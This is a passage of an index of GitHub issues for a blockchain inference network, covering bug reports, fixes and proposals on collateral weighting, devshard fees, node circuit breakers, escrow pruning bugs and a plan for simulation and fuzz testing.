calculateRequiredCollateral (collateral.go:53) correctly validates that baseWeightRatio is in the range [0, 1):
if err != nil || bwr.IsNegative() || bwr.GTE(math.LegacyOneDec()) {\n return math.ZeroInt()\n}\nAdjustWeightsByCollateral (collateral.go:100) converts the same parameter but has no equivalent guard. If governance sets baseWeightRatio >= 1.0:
baseWeight = potentialWeight × ratio exceeds potentialWeightcollateralEligibleWeight = potentialWeight - baseWeight goes negativeeffectiveWeight = baseWeight (inflated)activatedWeight = min(negative, positive) = negative, so effective weight is reducedExample with baseWeightRatio = 1.5, potentialWeight = 100: - No collateral: effectiveWeight = 150 (50% inflation) - With collateral: effectiveWeight = 100 (normal)
This inverts the collateral incentive — participants are rewarded for NOT depositing collateral.
"}, {"location": "community/issues/00933-adjustweightsbycollateral-missing-baseweightratio-range-vali/#fix", "title": "Fix", "text": "Add the same range guard after baseWeightRatio conversion in AdjustWeightsByCollateral:
if baseWeightRatio.IsNegative() || baseWeightRatio.GTE(math.LegacyOneDec()) {\n return fmt.Errorf(\"base_weight_ratio %s is out of valid range [0, 1)\", baseWeightRatio.String())\n}\n@unameisfine, new issues need to go through the triage process first. To help move things forward a bit faster, I’d recommend posting them in Discord or any other available channels so the community can take a look and share early feedback.
@gmorgachev commented 2026-04-26 20:00 UTCIf governance sets baseWeightRatio >= 1.0
why would do that? that's contradict of the idea of base weight ratio
@unameisfine commented 2026-04-26 22:03 UTCFair point — governance setting an invalid ratio is unrealistic. Closing the PR.
🔄 Auto-synced from Issue #933 every hour.
"}, {"location": "community/issues/00935-p0-devshards-fees/", "title": "#935 — [P0] `devshards` fees", "text": "[P0] `devshards` fees #935 Closed @dcastro opened 2026-03-23 11:12 UTC 1 comment Updated 2026-04-29 21:44 UTC Priority: High devshardsContext: https://github.com/gonka-ai/gonka/issues/914#issuecomment-4090483233
devshardsCalculate and charge fee for subnets Will be done by March 29th.
All the remaining items will be done by April 5th
🔄 Auto-synced from Issue #935 every hour.
"}, {"location": "community/issues/00936-devshards-implement-aggregated-bls-signatures/", "title": "#936 — `devshards`: Implement aggregated BLS signatures", "text": "`devshards`: Implement aggregated BLS signatures #936 Open @dcastro opened 2026-03-23 11:17 UTC 1 comment Updated 2026-04-29 21:14 UTC Priority: Low devshardsSee #896
"}, {"location": "community/issues/00936-devshards-implement-aggregated-bls-signatures/#research", "title": "Research", "text": "postpone after Upgrade v0.x.x-devshard2
🔄 Auto-synced from Issue #936 every hour.
"}, {"location": "community/issues/00939-p0-vllm-0151/", "title": "#939 — [P0] vLLM 0.15.1", "text": "[P0] vLLM 0.15.1 #939 Closed @tcharchian opened 2026-03-24 00:18 UTC 3 comments Updated 2026-04-22 20:58 UTC(empty)
"}, {"location": "community/issues/00939-p0-vllm-0151/#comments-3", "title": "💬 Comments (3)", "text": "@tamazgadaev commented 2026-03-25 10:04 UTCMLnode should support the vllm 0.15.1 - Processed logprobs flag: we need to output processed logprobs when doing inference to remain compatibple with 0.9 version - A flag for the change to the raw logprobs: processed logprobs are worse for inference validation, than raw logprobs, so we'll need an on-chain parameter and mlnode code, that enables change of the logprobes mode simultaniously on all the mlnodes - Probably we'll need to change the docker file: add some env variables and update the versions of packages.
@tamazgadaev commented 2026-03-25 22:24 UTCAlso an MLNode container with vllm 0.15 version should be tested and performance and deployment parameters identified on different cards
@tcharchian commented 2026-04-09 21:51 UTCghcr.io/product-science/mlnode:3.0.13-alpha2 https://github.com/gonka-ai/vllm/pull/24
🔄 Auto-synced from Issue #939 every hour.
"}, {"location": "community/issues/00942-intra-epoch-fast-circuit-breaker-for-degraded-executor-nodes/", "title": "#942 — Intra-epoch fast circuit breaker for degraded executor nodes (miss rate + cooldown/probe recovery)", "text": "Intra-epoch fast circuit breaker for degraded executor nodes (miss rate + cooldown/probe recovery) #942 Closed @mingles-agent opened 2026-03-24 18:37 UTC 1 comment Updated 2026-03-27 16:09 UTC"}, {"location": "community/issues/00942-intra-epoch-fast-circuit-breaker-for-degraded-executor-nodes/#problem", "title": "Problem", "text": "The SPRT-based deactivation (getInactiveStatus) is the existing mechanism for removing degraded nodes from the executor pool. It is statistically sound but slow by design — it requires 10–50+ inferences before accumulating enough confidence to act.
Live data (epochs 161–191, 2.5M inferences): - Miss rate: 3.25% overall (81k misses) - Completion rate σ = 7.4% — some nodes miss 28% of assigned inferences while SPRT hasn't triggered yet - GetRandomExecutor routes to healthy and degraded nodes with equal probability during the SPRT collection window
Related upstream issues: #818 (slow nodes), #820 (missed inferences).
"}, {"location": "community/issues/00942-intra-epoch-fast-circuit-breaker-for-degraded-executor-nodes/#root-cause", "title": "Root Cause", "text": "createFilterFn in keeper/query_get_random_executor.go filters only by PoC slot availability and model support. There is no intra-epoch health check. MissedRequests accumulates per-participant in CurrentEpochStats but is never consulted during executor selection.
A 3-state fast circuit breaker running inside createHealthFilterFn, composed with existing filters in createFilterFn:
HEALTHY →(miss rate > 25%, ≥4 samples)→ EXCLUDED\nEXCLUDED →(cooldown expired)→ PROBE\nPROBE →(next inference OK)→ HEALTHY\nPROBE →(next inference miss)→ EXCLUDED (cooldown doubles, exponential backoff)\nKey design decisions: - Minimum samples (4): prevents false exclusion from sparse early-epoch data - Probe state: solves the \"no traffic = can't prove recovery\" problem — excluded node gets one test slot after cooldown, result determines re-entry or extended exclusion - Exponential backoff: initial cooldown 50 blocks (~5 min), doubles on each failed probe, capped at 500 blocks (~50 min) - Safety fallback: if ALL nodes are excluded, filter returns full list (no empty pool crash, network continues operating) - Epoch boundary reset: all CB state cleared on new epoch — epoch is the final backstop, no permanent exclusion at this layer (SPRT handles that separately)
"}, {"location": "community/issues/00942-intra-epoch-fast-circuit-breaker-for-degraded-executor-nodes/#implementation-minglesaigonka", "title": "Implementation (MinglesAI/gonka)", "text": "Implemented and merged in MinglesAI/gonka#12.
Files changed: | File | Change | |------|--------| | keeper/circuit_breaker.go | New: CBState type, CircuitBreakerEntry struct, Get/Set/Exclude/PromoteToProbe/RecordCBResult | | keeper/query_get_random_executor.go | createHealthFilterFn + composition in createFilterFn | | module/module.go | RecordCBResult(miss) on expiry, ClearAllCBState on epoch boundary | | keeper/msg_server_finish_inference.go | RecordCBResult(success) on inference complete | | types/keys.go | CircuitBreakerStatePrefix | | keeper/circuit_breaker_test.go | 12 unit test cases covering all state transitions |
Parameters (all configurable): - MissThreshold: 25% - MinSamples: 4 - InitialCooldown: 50 blocks - MaxCooldown: 500 blocks
"}, {"location": "community/issues/00942-intra-epoch-fast-circuit-breaker-for-degraded-executor-nodes/#complementary-change", "title": "Complementary Change", "text": "Also implemented: reputation-adjusted executor selection weight at epoch start (MinglesAI/gonka#8). Reputation score (already computed from historical miss data) now adjusts selection probability: a node with 50% reputation gets ~50% of traffic share vs a clean node with equal stake. These two changes operate at different layers and complement each other.
"}, {"location": "community/issues/00942-intra-epoch-fast-circuit-breaker-for-degraded-executor-nodes/#comments-1", "title": "💬 Comments (1)", "text": "@gmorgachev commented 2026-03-24 19:56 UTC🔄 Auto-synced from Issue #942 every hour.
"}, {"location": "community/issues/00946-nil-pointer-dereference-in-v1chatcompletions-grpc-responses-/", "title": "#946 — Nil pointer dereference in /v1/chat/completions — gRPC responses not nil-checked", "text": "Nil pointer dereference in /v1/chat/completions — gRPC responses not nil-checked #946 Closed @unameisfine opened 2026-03-25 15:52 UTC 1 comment Updated 2026-03-25 16:04 UTCRelated to #876.
Three gRPC response accesses in post_chat_handler.go lack nil guards, causing runtime panics when chain RPC is slow or partially responsive:
enforceDeveloperAccessGate (line 250): paramsResp.Params.DeveloperAccessParams — panics if paramsResp is nil. Called for ALL requests (both transfer and executor paths).
handleTransferRequest (line 294): raw gRPC error returned without echo.NewHTTPError wrapping — error handler middleware receives an unexpected error type.
validateRequester (line 1000): priceResponse.Found — panics if priceResponse is nil after GetModelPerTokenPrice query.
All three are in the common request path, which explains why all documented transfer-agent endpoints fail simultaneously under the same conditions.
The pattern used elsewhere in the codebase (e.g. enforceDeveloperAccessGate already nil-checks p on line 251) should be applied consistently to all gRPC responses.
Closing in favor of #876 — this is the same issue. Posted analysis there instead.
🔄 Auto-synced from Issue #946 every hour.
"}, {"location": "community/issues/00950-set-up-ibc-channels/", "title": "#950 — Set up IBC channels", "text": "Set up IBC channels #950 Closed @mtvnastya opened 2026-03-26 03:23 UTC 0 comments Updated 2026-04-08 22:59 UTC Priority: HighSet up IBC channels between Gonka and the chains for USDC (Injective) and USDT (Kava) so that IBC transfers work for these assets.
🔄 Auto-synced from Issue #950 every hour.
"}, {"location": "community/issues/00955-p0-make-handling-of-warm-keys-deterministic-implementation/", "title": "#955 — [P0] Make handling of warm keys deterministic (implementation)", "text": "[P0] Make handling of warm keys deterministic (implementation) #955 Open @dcastro opened 2026-03-26 15:12 UTC 1 comment Updated 2026-07-20 21:07 UTC devshardsSee #913
Once research is finished and we agree on a decision, we'll update this issue with the implementation steps.
"}, {"location": "community/issues/00955-p0-make-handling-of-warm-keys-deterministic-implementation/#comments-1", "title": "💬 Comments (1)", "text": "@KKizilov commented 2026-03-26 15:22 UTCWill be done by April 6th.
🔄 Auto-synced from Issue #955 every hour.
"}, {"location": "community/issues/00966-validation-eligibility-and-accounting-consistency/", "title": "#966 — Validation Eligibility and Accounting Consistency", "text": "Validation Eligibility and Accounting Consistency #966 Closed @akup opened 2026-03-27 13:43 UTC 1 comment Updated 2026-04-03 10:10 UTC bug enhancement"}, {"location": "community/issues/00966-validation-eligibility-and-accounting-consistency/#validation-eligibility-and-accounting-consistency", "title": "Validation Eligibility and Accounting Consistency", "text": "Work on Inferences and Validations on current version is now legacy. All future work will be concentrated on devnets (shardchains). This PR shouldn't be high priority or probably should be closed in nearest future. It was useful to see issues that should be handled in devchains
"}, {"location": "community/issues/00966-validation-eligibility-and-accounting-consistency/#summary", "title": "Summary", "text": "This branch fixes a cumulative protocol issue across validation lifecycle, validator eligibility, and claim accounting. Before these changes, a non-settled participant could still attempt validation/revalidation, multi-address participants could bypass intent of own-inference restrictions, already-decided inferences could be re-processed in edge cases, and claim accounting around invalidation/revalidation was vulnerable to expensive or inconsistent handling.
"}, {"location": "community/issues/00966-validation-eligibility-and-accounting-consistency/#motivation", "title": "Motivation", "text": "This matters now because revalidation is expensive, and stricter status guards (VALIDATED / VOTING) require strict eligibility enforcement to avoid unauthorized heavy paths. At the same time, claim checks must remain both correct and performant under epoch-scale load.
x/inference/keeper/msg_server_validation.go, x/inference/keeper/msg_server_claim_rewards.go, revalidation collections in keeper, seed-based settlement checks.GetInference(...) scans in the hot validation-credit path.UPDATE: PR #829: INVALIDATED-related claim accounting discussion was referenced but it was my mistake. It seams it should be handled in other way. See discussion on that PR
"}, {"location": "community/issues/00966-validation-eligibility-and-accounting-consistency/#expected-outcome", "title": "Expected outcome", "text": "When done:
Issue should be closed, because now all focus is moving to devshards. Moreover here seed is revealed, but current protocol version doesn't protect from seed early revealing, and some party can cheat with inferenceIds
@0xMayoor let's accept your PR https://github.com/gonka-ai/gonka/pull/832
🔄 Auto-synced from Issue #966 every hour.
"}, {"location": "community/issues/00975-nodes-with-high-miss-rate-continue-receiving-inference-reque/", "title": "#975 — Nodes with high miss rate continue receiving inference requests for the rest of the epoch", "text": "Nodes with high miss rate continue receiving inference requests for the rest of the epoch #975 Closed @mingles-agent opened 2026-03-30 09:08 UTC 1 comment Updated 2026-03-31 14:00 UTC"}, {"location": "community/issues/00975-nodes-with-high-miss-rate-continue-receiving-inference-reque/#problem", "title": "Problem", "text": "Nodes with consistently high miss rates (wrong answers, timeouts) remain in the executor pool for the entire epoch. There is no mid-epoch mechanism to stop routing client inference requests to them.
Observed in testnet: nodes with 25%+ miss rates remain active for hundreds of blocks, causing client-visible failures.
"}, {"location": "community/issues/00975-nodes-with-high-miss-rate-continue-receiving-inference-reque/#solution-in-pr-974", "title": "Solution in PR #974", "text": "Circuit breaker state machine per node: ACTIVE → EXCLUDED → PROBE → ACTIVE - Exclusion: miss rate > 25% after ≥4 samples (governance-adjustable via ValidationParams) - Recovery: after cooldown, node gets one probe slot; success → back to ACTIVE - All state writes in EndBlock — query handlers read-only (Cosmos-safe)
Reputation-adjusted selection: stake weight scaled by reputation score, so well-performing nodes are preferred before hitting the exclusion threshold.
"}, {"location": "community/issues/00975-nodes-with-high-miss-rate-continue-receiving-inference-reque/#known-issue-addressed-in-follow-up", "title": "Known issue (addressed in follow-up)", "text": "Same-block probe re-exclusion: when a probe succeeds, UpdateCBStateForBlock Pass 2 in the same block could immediately re-exclude the node due to stale miss-rate stats. Fixed in a separate commit — will be included in the new PR.
Description doesn't match what's actually in the code and mixes a few things together. Feel free to reopen if you can show a specific case where this happens
🔄 Auto-synced from Issue #975 every hour.
"}, {"location": "community/issues/00976-p0-devshards-distribute-workcoins-at-the-end-of-the-epoch/", "title": "#976 — [P0] `devshards`: Distribute `WorkCoins` at the end of the epoch", "text": "[P0] `devshards`: Distribute `WorkCoins` at the end of the epoch #976 Closed @dcastro opened 2026-03-30 11:10 UTC 1 comment Updated 2026-04-21 23:43 UTC enhancement devshardsAs described in https://github.com/gonka-ai/gonka/issues/914#issuecomment-4090483233, we want to:
WorkCoins at the end of the epoch, instead of upon settlement.devshards stats into account when WorkCoins/RewardCoins (see bitcoin_rewards.go)status.go -> ComputeStatus)Very close logic is implemented and merged in https://github.com/gonka-ai/gonka/pull/1087 & https://github.com/gonka-ai/gonka/pull/1069
🔄 Auto-synced from Issue #976 every hour.
"}, {"location": "community/issues/00977-p0-devshards-limit-amount-of-inferences/", "title": "#977 — [P0] `devshards`: Limit amount of inferences", "text": "[P0] `devshards`: Limit amount of inferences #977 Closed @dcastro opened 2026-03-30 11:17 UTC 1 comment Updated 2026-06-01 22:04 UTC enhancement devshardsAs described in https://github.com/gonka-ai/gonka/issues/914#issuecomment-4090483233, we want to limit the amount of inferences that can be done in a devshard, as a way of limiting the amount of damage a hijacked devshard can cause on the network.
For now, let's say each devshard can run up to 2k inferences.
Upon settlement, the protocol should verify \"Missed inferences + Invalidated inferences\" does not exceed 2k, for the whole group.
"}, {"location": "community/issues/00977-p0-devshards-limit-amount-of-inferences/#comments-1", "title": "💬 Comments (1)", "text": "@a-kuprin commented 2026-05-26 21:49 UTCAt 0.2.13 nonce limit was introduced. Inference count could be limited by nonces limit and there is no need in extra parameter. Handling on devshard side is implemented at https://github.com/gonka-ai/gonka/pull/1258
🔄 Auto-synced from Issue #977 every hour.
"}, {"location": "community/issues/00979-devshards-escrow-fund-loss-on-unsettled-pruning-missing-over/", "title": "#979 — `devshards` escrow: fund loss on unsettled pruning + missing overflow guards in host stats aggregation", "text": "`devshards` escrow: fund loss on unsettled pruning + missing overflow guards in host stats aggregation #979 Closed @unameisfine opened 2026-03-30 17:05 UTC 2 comments Updated 2026-04-29 21:27 UTC"}, {"location": "community/issues/00979-devshards-escrow-fund-loss-on-unsettled-pruning-missing-over/#summary", "title": "Summary", "text": "Three related bugs in subnet escrow settlement and pruning code (v0.2.11):
"}, {"location": "community/issues/00979-devshards-escrow-fund-loss-on-unsettled-pruning-missing-over/#1-fund-loss-in-unsettled-escrow-pruning-medium", "title": "1. Fund loss in unsettled escrow pruning (Medium)", "text": "distributeUnsettledEscrow (subnet_pruning.go) silently logs SendCoinsFromModuleToAccount failures but returns nil. The subnet Remover in pruning.go then deletes the escrow from state. Validators whose payments failed permanently lose their share — the funds remain locked in the inference module account with no way to recover.
Remover also swallows errors: Even if escrow or index deletion fails, the Remover returns nil (line 149), potentially leaving orphaned state entries while advancing the pruning cursor past them.
Root cause: Error-handling pattern treats pruning cleanup as \"best-effort\" but deletes the source-of-truth (escrow) regardless of outcome.
Impact: Permanent fund loss for validators in any unsettled escrow where at least one SendCoins call fails during pruning.
AggregateSubnetHostStats (Low-Medium)", "text": "subnet_host_stats.go — Cost (uint64) has an overflow check before addition, but Missed, Invalid, RequiredValidations, and CompletedValidations (all uint32) do not. The developer clearly intended overflow protection (present for Cost) but missed the other four fields.
SettleSubnetEscrow validator cost aggregation (Low)", "text": "msg_server_settle_subnet_escrow.go:37 — validatorCosts[addr] += hs.Cost accumulates costs for validators with multiple slots without overflow protection. Same pattern that AggregateSubnetHostStats correctly guards for Cost.
inference-chain/x/inference/keeper/subnet_pruning.go (distributeUnsettledEscrow)inference-chain/x/inference/keeper/pruning.go (GetSubnetPruner Remover)inference-chain/x/inference/keeper/subnet_host_stats.go (AggregateSubnetHostStats)inference-chain/x/inference/keeper/msg_server_settle_subnet_escrow.go (SettleSubnetEscrow)Closing — covered by PRs #1013, #1014, #1015.
@tcharchian commented 2026-04-29 21:27 UTC@akup please take a look
🔄 Auto-synced from Issue #979 every hour.
"}, {"location": "community/issues/00982-enable-simulation-and-fuzz-testing-for-inference-chain/", "title": "#982 — Enable simulation and fuzz testing for inference-chain", "text": "Enable simulation and fuzz testing for inference-chain #982 Open @patimen opened 2026-03-30 21:41 UTC 7 comments Updated 2026-06-06 08:01 UTC up-for-grabs"}, {"location": "community/issues/00982-enable-simulation-and-fuzz-testing-for-inference-chain/#proposal-enable-cosmos-sdk-simulation-and-fuzz-testing-for-inference-chain", "title": "Proposal: Enable Cosmos SDK Simulation and Fuzz Testing forinference-chain", "text": ""}, {"location": "community/issues/00982-enable-simulation-and-fuzz-testing-for-inference-chain/#summary", "title": "Summary", "text": "inference-chain should make Cosmos SDK simulation and fuzz-style state exploration a near-term engineering priority.
For a Cosmos chain, this kind of testing is not just “more tests.” It is one of the main ways to pressure-test the chain as a state machine. The simulator repeatedly generates and executes randomized operations, feeds the application unexpected or adversarial sequences of state transitions, and helps expose invalid assumptions that are easy to miss in hand-written tests. Its purpose is to hammer chain state, explore weird edges, and discover cases where the application accepts bad transitions, enters inconsistent state, fails determinism, or breaks import/export assumptions.
Today, inference-chain has the app-level simulator wiring in place, but it does not yet have meaningful custom-module simulation coverage. As a result, one of the most valuable testing tools in the Cosmos SDK stack is largely unused for the logic that matters most.
This proposal recommends a focused effort to:
x/inference first,Cosmos SDK simulation exists to explore the behavior of a blockchain application under broad, randomized, and often ugly execution conditions.
Rather than proving one expected path, simulation asks a harder question: what happens when the chain is subjected to long sequences of randomized operations, odd ordering, unusual account selections, unexpected timing, and state transitions we would not think to hand-author in tests?
The purpose is to:
For a complex Cosmos application, this is one of the closest things we have to adversarial state-machine testing inside the normal SDK toolchain.
"}, {"location": "community/issues/00982-enable-simulation-and-fuzz-testing-for-inference-chain/#problem", "title": "Problem", "text": "inference-chain contains complex custom stateful logic, especially in x/inference. That logic spans multi-step workflows, participant lifecycle, epoch-based coordination, balances, rewards, validation, and cross-module interactions. These are exactly the kinds of features where bugs often emerge not from one message in isolation, but from the sequence and combination of many valid actions over time.
Unit tests and integration tests remain necessary, but they are not designed to broadly search for strange emergent behavior. They usually validate known scenarios. Simulation and fuzz-style state exploration exist to find the scenarios we did not already think of.
Without meaningful simulator coverage, we are more likely to miss:
The problem is not that the chain has no simulation support at all. The problem is that simulation is not yet doing the job it is supposed to do for the custom logic of the chain.
"}, {"location": "community/issues/00982-enable-simulation-and-fuzz-testing-for-inference-chain/#why-this-should-be-a-priority", "title": "Why This Should Be a Priority", "text": "This is a high-leverage hardening investment.
In short, simulation matters because the chain’s biggest risks are not only “does this message work,” but also “what happens after many steps of valid and semi-adversarial state evolution.”
"}, {"location": "community/issues/00982-enable-simulation-and-fuzz-testing-for-inference-chain/#current-state", "title": "Current State", "text": "inference-chain already has the base app-level simulator hooks in place:
SimulationManager,However, the custom-module layer is still mostly scaffolding.
x/inference registers many weighted operations, but the individual simulator implementations are currently stubs that return NoOpMsg,WeightedOperations,The practical result is that simulation can be “enabled” without meaningfully hammering the custom business logic of the chain.
"}, {"location": "community/issues/00982-enable-simulation-and-fuzz-testing-for-inference-chain/#parameter-surface-and-testing-strategy", "title": "Parameter Surface and Testing Strategy", "text": "One especially important area for this initiative is parameter variation.
For inference-chain, there are two parameter categories that should be treated differently:
The primary fuzzing target in this proposal is the runtime parameter surface.
For inference-chain, risk does not only come from message execution under normal settings. It also comes from the space of possible runtime parameter values and combinations the chain may operate under. Some issues only appear when parameters are pushed toward edge values or when multiple parameters interact in surprising ways.
Genesis-only parameters should generally remain at the actual chain values during simulation and fuzz runs. They represent fixed operating assumptions of the network, and varying them freely would often reduce realism and produce lower-signal results. They should only be changed intentionally when there is a specific reason to believe that a genesis-only edge is needed to reach a meaningful correctness or security condition.
This matters because runtime parameter combinations can create correctness, safety, and vulnerability issues:
As a result, simulation and fuzz-style testing should not only randomize operations. It should also intentionally explore runtime parameter edges and dangerous combinations where doing so produces meaningful signal.
This does not always mean forcing parameter changes through governance inside the simulation itself. In many cases, we can explore more of the runtime parameter state space by starting a simulation run with alternate initial values for parameters that are normally mutable at runtime. That gives us broader coverage without requiring every test path to first simulate a governance vote.
The intended strategy is:
We should adopt a phased plan that first makes simulation runnable and useful, then expands coverage in a disciplined way.
"}, {"location": "community/issues/00982-enable-simulation-and-fuzz-testing-for-inference-chain/#phase-1-make-simulation-operational", "title": "Phase 1: Make Simulation Operational", "text": "Goal: make it easy for developers and CI to run a small simulation smoke test and a larger seeded run.
This phase should include:
This phase is about reliability and ergonomics, not depth of coverage.
"}, {"location": "community/issues/00982-enable-simulation-and-fuzz-testing-for-inference-chain/#phase-2-implement-meaningful-xinference-simulation", "title": "Phase 2: Implement Meaningfulx/inference Simulation", "text": "Goal: make the simulator actually exercise the most important chain logic.
This should start with a deliberately chosen subset of operations that represent real workflows instead of trying to implement every message at once.
Recommended first-wave operations:
SubmitNewParticipantStartInferenceFinishInferenceValidationClaimRewardsPossible second-wave operations:
InvalidateInferenceRevalidateInferenceThis phase should also include helper logic for selecting valid accounts and valid preconditions so the simulator creates realistic messages rather than mostly generating invalid transactions.
"}, {"location": "community/issues/00982-enable-simulation-and-fuzz-testing-for-inference-chain/#phase-3-improve-simulation-quality", "title": "Phase 3: Improve Simulation Quality", "text": "Goal: move from “it runs” to “it finds real issues.”
This phase should include:
Goal: cover the rest of the chain where simulation adds meaningful value.
Not every module needs the same level of simulator depth. Some modules may justify only a small number of operations; others may not need much beyond genesis and invariants. The point is to make conscious choices rather than leaving default Starport scaffolding in place indefinitely.
"}, {"location": "community/issues/00982-enable-simulation-and-fuzz-testing-for-inference-chain/#what-needs-to-be-done", "title": "What Needs To Be Done", "text": "The work can be broken into concrete deliverables:
Simulator execution
add local run targets,
verify simulator runs complete in current developer environments.
x/inference operation implementation
replace NoOpMsg stubs with real message generation and execution,
keep the first set of operations intentionally small and high-value.
Debuggability and confidence
add store decoders for custom modules,
add guidance for replaying failing seeds locally.
CI and maintenance
run a short smoke simulation in CI or another regular automation path,
If we do this well, we should get several concrete benefits:
This proposal does not recommend trying to implement every simulator operation immediately.
Non-goals for the initial effort:
The right first milestone is meaningful coverage for the most important workflows, not exhaustive completion.
"}, {"location": "community/issues/00982-enable-simulation-and-fuzz-testing-for-inference-chain/#risks-and-tradeoffs", "title": "Risks and Tradeoffs", "text": "There are real tradeoffs to manage:
These are manageable risks, and they argue for a phased rollout rather than against the effort itself.
"}, {"location": "community/issues/00982-enable-simulation-and-fuzz-testing-for-inference-chain/#success-criteria", "title": "Success Criteria", "text": "We should consider this initiative successful when:
x/inference has a first meaningful set of real simulation operations,This should be treated as a high-value engineering hardening initiative, with x/inference as the first target.
It does not need to block all other work, but it should be prioritized above lower-leverage test scaffolding because it directly improves confidence in the correctness of the chain’s stateful core.
"}, {"location": "community/issues/00982-enable-simulation-and-fuzz-testing-for-inference-chain/#proposed-next-step", "title": "Proposed Next Step", "text": "Approve a first milestone focused on:
x/inference operation support,That would give the project a practical starting point without overcommitting to a large one-shot implementation.
"}, {"location": "community/issues/00982-enable-simulation-and-fuzz-testing-for-inference-chain/#comments-7", "title": "💬 Comments (7)", "text": "@hleb-albau commented 2026-03-31 10:44 UTCgrabbing
Upd: still have problems with health, release grabbing :( you can start from PR i done
@vitaly-andr commented 2026-05-08 09:28 UTCHi @patimen, I'd like to take this on.
Per @hleb-albau's release (\"you can start from PR i done\"), starting fresh from main rather than building on PR #995. That PR removes 3 upstream tests (TestAppImportExport, TestAppSimulationAfterImport, TestAppStateDeterminism) without restoring their semantics under simsx. Crediting Hleb for the Make-target naming and fixBankGenesisState helper.
Phased delivery to match the issue's \"without overcommitting to a large one-shot implementation\":
staking, distribution, wasmd), restored test semantics (TestAppImportExport_Postrun, TestAppSimulationAfterImport_Postrun, TestAppStateDeterminism), docs/simulation.md, optional manual-trigger CI workflow.x/inference real ops via HasWeightedOperationsX — the 5 ops named in the issue (SubmitNewParticipant, StartInference, FinishInference, Validation, ClaimRewards).PR-A is locally complete; finalizing ai-reviewer pass before pushing. Will link the PR here once opened. Happy to adjust the phased split if you'd prefer a different structure.
@vitaly-andr commented 2026-05-08 18:18 UTCPhase 1 PR opened: #1156. Scope is intentionally narrow (\"make simulation runnable\") so subsequent phases can land incrementally per the proposal; Phase 2 first-wave x/inference real ops to follow as a separate PR.
cc @patimen as the issue author for review and scope feedback.
@vitaly-andr commented 2026-05-18 08:12 UTCUpdate: Phase 1 and Phase 2 are now combined in #1182, which supersedes #1156 (closed).
The comment above said Phase 2 would follow as a separate PR. Combining them instead matches the issue's \"Proposed Next Step\", which bundles run ergonomics and first-wave operation support into a single milestone — one self-contained, reviewable PR that exercises real x/inference logic rather than plumbing alone.
x/inference operations named in the issue (SubmitNewParticipant, StartInference, FinishInference, Validation, ClaimRewards) plus the runnable-simulation infrastructure. Phase 3 (second-wave ops, operation-weight tuning, custom invariants, parameter-edge fuzzing, store decoders) still follows as a separate PR. @vitaly-andr commented 2026-05-22 14:13 UTC Phase 1 + 2 + 3 combined PR opened: #1228 (supersedes #1182, which is now closed).
Full local-verification milestone: - make sim-smoke-test PASS — lifecycle total=75 startProcessed=72 finishProcessed=62 validated=50 proposed=4 - make sim-full-test PASS — height=501, opsCount=60763, deterministic app-hash, ≥12 epoch rotations - Verified cross-compatible with gm/microrelease (v0.2.13 staging) — one adapter line for NewEpochMemberFromActiveParticipant signature change
V2 PoC chain factory family on cosmos-sdk simsx HasFutureOpsRegistry; sim-full surfaced two orthogonal gonka-ai/cosmos-sdk bugs both required for liveness — filed separately as #1205 and gonka-ai/cosmos-sdk PR #14.
Status update — Phase 1–3 complete and assembled for review.
The simulator now runs end-to-end and exercises real x/inference logic — and, the point of this issue, the seeded runs have surfaced several actionable bugs. Everything is assembled as focused, individually reviewable PRs.
Main PR — #1228 (Phase 1 + 2 + 3) - Phase 1: simsx migration; sim-smoke / sim-full Make targets; restored TestAppImportExport / TestAppSimulationAfterImport / TestAppStateDeterminism; docs/simulation.md. - Phase 2: first-wave real ops (SubmitNewParticipant, StartInference, FinishInference, Validation, ClaimRewards) + valid-precondition helpers; a V2 PoC-chain factory family so the validator set survives multi-epoch runs. - Phase 3: custom invariants (incl. a bank-backs solvency invariant), store decoders, parameter-edge fuzzing, secondary-op factories, weight tuning. - Verification: sim-smoke and sim-full (500×200, pinned GenesisTime) pass with a deterministic app-hash across ≥12 epoch rotations.
Bugs the simulation surfaced — x/inference (each filed narrowly, with a fail-without / pass-with reproducer):
VOTING inferences orphan client escrow when x/group proposals miss quorum PR #1275 #1269 Revalidation vote fails when the voter is absent from the epoch x/group PR #1276 #1273 Asymmetric debit in refundInvalidatedInference (left as a design question, not patched) — Most severe — a chain halt in the cosmos-sdk fork. sim-full deterministically halted: markValidatorForDeletion's jailed branch deletes a validator's record while its votes are still inside CometBFT's validator-update lag, so slashing.BeginBlocker fails with ErrNoValidatorFound. Reported as #1205 and fixed in gonka-ai/cosmos-sdk#16, which also resolves a non-jailed DelegatorShares divide-by-zero in the same function. Worked through in the cosmos-sdk#14 thread with @0xgonka (GON-191 author): the two fixes are orthogonal — different functions — but both are needed for staking liveness, so #16 is complementary to #14 (cc gmorgachev as the fork maintainer / author of markValidatorForDeletion).
Phase 4 (selective simulation coverage of the other custom modules) can follow as a separate effort if useful — happy to scope it on request.
@patimen — whenever you have bandwidth, I'd really appreciate a review of #1228 and any scope feedback. No rush, and happy to restructure the phase split if you'd prefer.
@vitaly-andr commented 2026-06-06 08:01 UTCA second staking-liveness halt — surfaced running the sim on #14 + #16.
Building the suite on a fork with both fork PRs applied (#14 GON-191 + #16 markValidatorForDeletion), the multi-seed sweep still halted: 27 / 37 seeds with block finalization failed: validator does not exist.
It is distinct from the markValidatorForDeletion halt (#16): GON-191's stale-validator cleanup is a different deletion path, also with no unbonding period, so evidence/slashing BeginBlock looks up a just-deleted validator and ValidatorByConsAddr returns ErrNoValidatorFound before either consumer's existing graceful nil branch can run. A small, self-contained fix — return (nil, nil) on not-found — takes the sweep 27 / 37 → 0 / 37.
Full root-cause + diff in the cosmos-sdk#14 thread: https://github.com/gonka-ai/cosmos-sdk/pull/14#issuecomment-4637525807
Net: staking liveness under the PoC delete-immediately model needs both #16 (the markValidatorForDeletion paths) and this ValidatorByConsAddr contract fix, which is robust against any deletion path including GON-191.
🔄 Auto-synced from Issue #982 every hour.
"}, {"location": "community/issues/00983-bug-get-apiv1epochsnparticipants-returns-500-for-past-epochs/", "title": "#983 — Bug: GET /api/v1/epochs/{N}/participants returns 500 for past epochs (CreatedAtBlockHeight=0)", "text": "Bug: GET /api/v1/epochs/{N}/participants returns 500 for past epochs (CreatedAtBlockHeight=0) #983 Open @mingles-agent opened 2026-03-31 08:51 UTC 0 comments Updated 2026-03-31 08:51 UTC🔄 Auto-synced from Issue #983 every hour.
"}, {"location": "community/issues/00983-bug-get-apiv1epochsnparticipants-returns-500-for-past-epochs/#bug", "title": "Bug", "text": "GET /api/v1/epochs/{N}/participants returns 500 Internal Server Error for past epochs. Current epoch works fine.
